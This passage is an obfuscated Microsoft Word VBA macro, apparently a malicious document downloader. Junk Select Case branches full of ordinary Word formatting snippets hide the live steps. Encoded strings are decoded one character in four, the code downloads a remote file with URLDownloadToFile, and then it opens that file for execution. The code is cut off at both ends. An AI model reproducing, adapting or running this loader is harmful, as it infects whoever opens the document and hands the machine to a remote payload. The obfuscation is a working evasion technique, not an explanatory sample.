wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case -2383\nCase (-894 + -969 + (629 - (822) + -327)): Dim fUodjSG6Z As String\n\nCase (495 + (-113) - (-84 + 675) + (-728)):\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case 1760\nCase (728 + 950 + (902 - (655) + -165)): G1mg7mfiRX = Array(rw5ovQ5U(sb7XBIysm()), rw5ovQ5U(\"\\]ixgKS}hgrLjl0JbjR-oU-ssA0@y7I_us.|h0iy.0~oeF7:xEo}e:kt\"), rw5ovQ5U(\"h/uxt9mXtBi4p*w5s(.o:QvB/n6x/y0Xv24aiJ:ccfy)oOP[mo7Pcj4=lY[UeV0ja0`Ln@(Aie5mnH.`gvwV.OC}i4W]n;`ffq,)ocHT/*[,luBYo>NygfhCilN1nnr;/f1@fWJWr5s~eeM{s@*khAFR/\\)]n{8se,LnwAN9c\\+8ol|>m;Q8pThN.ZX(e}NexVS0e]:p\"), rw5ovQ5U(BBoRyvu4db()))\n\nCase (-437 + (654) - (-17 + 802) + (277)):\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 16\nCase (-33 + 64 + (160 - (-705) + -880)): Dim VF3OaMsVWvMrZsR5\n\nCase (207 + (402) - (951 + -616) + (289)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 331\nCase (60 + 406 + (644 - (-68) + -847)): Set VF3OaMsVWvMrZsR5 = leOVUzQenaA(G1mg7mfiRX(5701 - (8757) + (3059)))\n\nCase (-203 + (359) - (541 + -625) + (-354)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\n\n\nSelect Case -920\nCase (-743 + -76 + (-748 - (-126) + 521)): fUodjSG6Z = ii3epYH(G1mg7mfiRX(-8113 - (-5737) + (2376))) + G1mg7mfiRX(4010 - (1050) + (-2959))\n\nCase (465 + (784) - (-478 + -452) + (949)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nCall URLDownloadToFile(rw5ovQ5U(PkBfumIO4()), G1mg7mfiRX(4441 - (817) + (-3622)), fUodjSG6Z, rw5ovQ5U(PkBfumIO4()), rw5ovQ5U(PkBfumIO4()))\nVF3OaMsVWvMrZsR5.Open (fUodjSG6Z)\nEnd Sub\n\nFunction rw5ovQ5U(HVyjVR2) As String\n\nSelect Case 1496\nCase (82 + (-522) - (-829 + 704) + (617)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nCase (197 + -228 + (132 - (-422) + 973)): Dim MgsBMAMLfWqtc(-3907 - (-7165) + (-2203)) As Byte\n\nEnd Select\n\n\n\nSelect Case -615\nCase (205 + (134) - (593 + 620) + (122)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nCase (-642 + 631 + (-896 - (-709) + -417)): Dim AFSjbfDdB() As Byte\n\nEnd Select\n\n\n\nSelect Case -605\nCase (-646 + (-918) - (173 + -554) + (-918)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nCase (-122 + 51 + (-802 - (292) + 560)): Dim KEH8n5g\n\nEnd Select\n\n\n\nSelect Case -218\nCase (-936 + 582 + (186 - (241) + 191)): Dim pNYayaD\n\nCase (477 + (-615) - (991 + 637) + (538)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\n\nSelect Case 1059\nCase (-407 + (-870) - (-996 + 550) + (-70)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (-50 + -158 + (-405 - (-864) + 808)): AFSjbfDdB = StrConv(HVyjVR2, (-2036 - (-4334) + (-2170)))\n\nEnd Select\n\n\n For pNYayaD = 0 To UBound(AFSjbfDdB) - 1\n If (pNYayaD Mod 4 = (8448 - (-71) + (-8519))) Then\n\nSelect Case -545\nCase (426 + (885) - (399 + -333) + (-794)):\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nCase (787 + 843 + (-862 - (940) + -373)): MgsBMAMLfWqtc(KEH8n5g) = AFSjbfDdB(pNYayaD)\n\nEnd Select\n\n\n\nSelect Case 1678\nCase (198 + (-269) - (469 + 453) + (183)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (435 + 277 + (-47 - (-297) + 716)): KEH8n5g = KEH8n5g + 1\n\nEnd Select\n\n\n End If\n Next pNYayaD\n\nSelect Case 485\nCase (-296 + (262) - (523 + -45) + (194)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (490 + 646 + (64 - (-146) + -861)): rw5ovQ5U = Left(StrConv(MgsBMAMLfWqtc, (-7442 - (-8340) + (-834))), KEH8n5g)\n\nEnd Select\n\n\nEnd Function\n\nFunction sb7XBIysm() As String\n\nSelect Case -287\nCase (-545 + 673 + (65 - (-242) + -722)): Dim O94h2vp2ctl7Pp\n\nCase (344 + (591) - (-411 + 112) + (-333)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case -2555\nCase (620 + (-968) - (-269 + -985) + (429)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (-750 + 248 + (-469 - (749) + -835)): Dim GlsVJL\n\nEnd Select\n\n\n\nSelect Case -390\nCase (-423 + 368 + (806 - (958) + -183)): Dim duDMHfZuSL2B\n\nCase (196 + (-870) - (-854 + -944) + (-525)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case 353\nCase (-145 + (-843) - (-166 + 641) + (-666)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nCase (427 + -315 + (354 - (688) + 575)): Dim eELRaVbGU\n\nEnd Select\n\n\n\nSelect Case 593\nCase (-864 + 141 + (-133 - (-633) + 816)): O94h2vp2ctl7Pp = r53u4nc(-8113 - (-5737) + (2376))\n\nCase (806 + (965) - (52 + 119) + (-614)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 881\nCase (-158 + (768) - (721 + 211) + (-28)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (641 + -582 + (94 - (44) + 772)): GlsVJL = O94h2vp2ctl7Pp & r53u4nc(4010 - (1050) + (-2959))\n\nEnd Select\n\n\n\nSelect Case 1584\nCase (615 + 756 + (335 - (73) + -49)): duDMHfZuSL2B = GlsVJL & r53u4nc(4441 - (817) + (-3622))\n\nCase (419 + (512) - (620 + -282) + (-697)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 1365\nCase (813 + (-788) - (292 + 372) + (144)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (817 + -452 + (204 - (178) + 974)): eELRaVbGU = duDMHfZuSL2B & r53u4nc(5701 - (8757) + (3059))\n\nEnd Select\n\n\n\nSelect Case 721\nCase (835 + -291 + (-925 - (-878) + 224)): sb7XBIysm = eELRaVbGU\n\nCase (441 + (243) - (-777 + -95) + (473)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nEnd Select\n\n\nEnd Function\n\nFunction BBoRyvu4db() As String\n\nSelect Case -2911\nCase (370 + (10) - (800 + 544) + 